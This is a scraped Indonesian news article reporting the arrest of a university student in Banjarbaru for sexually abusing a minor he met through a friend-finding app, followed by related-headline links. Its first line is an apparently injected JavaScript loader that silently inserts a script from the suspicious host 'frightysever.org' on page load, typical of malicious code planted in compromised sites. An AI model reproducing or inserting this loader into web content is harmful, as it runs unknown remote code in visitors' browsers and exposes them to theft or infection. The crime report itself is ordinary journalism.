(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Baru kenal mau saja diajak kencan, seorang anak perempuan di Banjarbaru menjadi korban pencabulan lelaki yang baru dikenalnya melalui aplikasi kencan.
Korban yang masih di bawah umur itu dipaksa oleh AN (23) melakukan hubungan badan tanpa ikatan sah.
Untuk melancarkan aksi amoral itu, AN melakukan modus ajak korban jalan-jalan dan mampir ke kos.
Belakangan tak sesuai, AN malah membawa korban masuk ke penginapan QQ di Jalan Angkasa, Kelurahan Syamsudinoor, Kecamatan Landasan Ulin, Kota Banjarbaru.
Baca juga: Pembangunan IKN Ancam Orangutan, Lumba-lumba Irrawaddy
Kapolres Banjarbaru AKBP Dody H Kusumah melalui Kasi Humas Kompol Tajudin Noor mengtatakan, saat berada di penginapan, korban sempat menolak beberapa kali, tapi tetap dipaksa masuk oleh pelaku ke dalam kamar.
Korban dipaksa AN melakukan persetubuhan satu kali. Pelaku AN diketahui berstatus mahasiswa tersebut.
“Setelah hasratnya terpenuhi, pelaku mengajak korbannya jalan-jalan ke lapangan Murdjani, kemudian diantar pulang,” kata Kompol Tajudin, Selasa (25/4/2023) siang.
Pelaku AN, sebut Kompol Tajudin, sempat diadang oleh kakak korban saat dalam perjalanan pulang, namun berhasil kabur.
Mendapatkan laporan dari korban, pihak kepolisian langsung melakukan pengejaran terhadap AN hingga ke Kalimantan Tengah.
Pelaku akhirnya berhasil dibekuk oleh Unit Opsnal Reskrim (Macan Barbar) Polsek Liang Anggang dipimpin Aiptu Deden A Lesmana, Timsus Ditreskrimum Polda Kalsel.
“Saat diamankan pelaku sedang tertidur di rumah neneknya, di Pulang Pisau, Kalteng,” sebut Kompol Tajudin.
Baca juga: Arus Balik di Pelabuhan Trisakti Masih sepi, Kapal Bersandar Mulai H+5 Lebaran
Kepada polisi, pelaku AN mengaku baru mengenal korban melalui aplikasi pencarian teman IMO.
Dari keterang AN juga terungkap bahwa pelaku sempat mengancam meninggalkan korban di tempat sepi sebanyak tiga kali, bila tidak mau diajak ‘begituan’.
“Pelaku juga mengaku sempat mengajak korban ke lokasi pemakaman di Jalan Kasturi, untuk meminta oral sex, namun korban menolak,” ungkap Tajudin.
Pelaku AN dijerat pasal 82 Ayat (1) Undang-Undang Republik Indonesia Nomor 17 Tahun 2016 tentang Penetapan Peraturan Pemerintah, Pengganti Undang-Undang Nomor 1 Tahun 2016 tentang Perubahan Kedua Atas Undang-Undang Nomor 23 Tahun 2002 tentang Perlindungan Anak menjadi Undang-Undang.
“Setelah berhasil diamankan pelaku langsung dibawa ke Polsek Liang Anggang, guna proses hukum lebih lanjut,” terang Kompol Tajudin. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.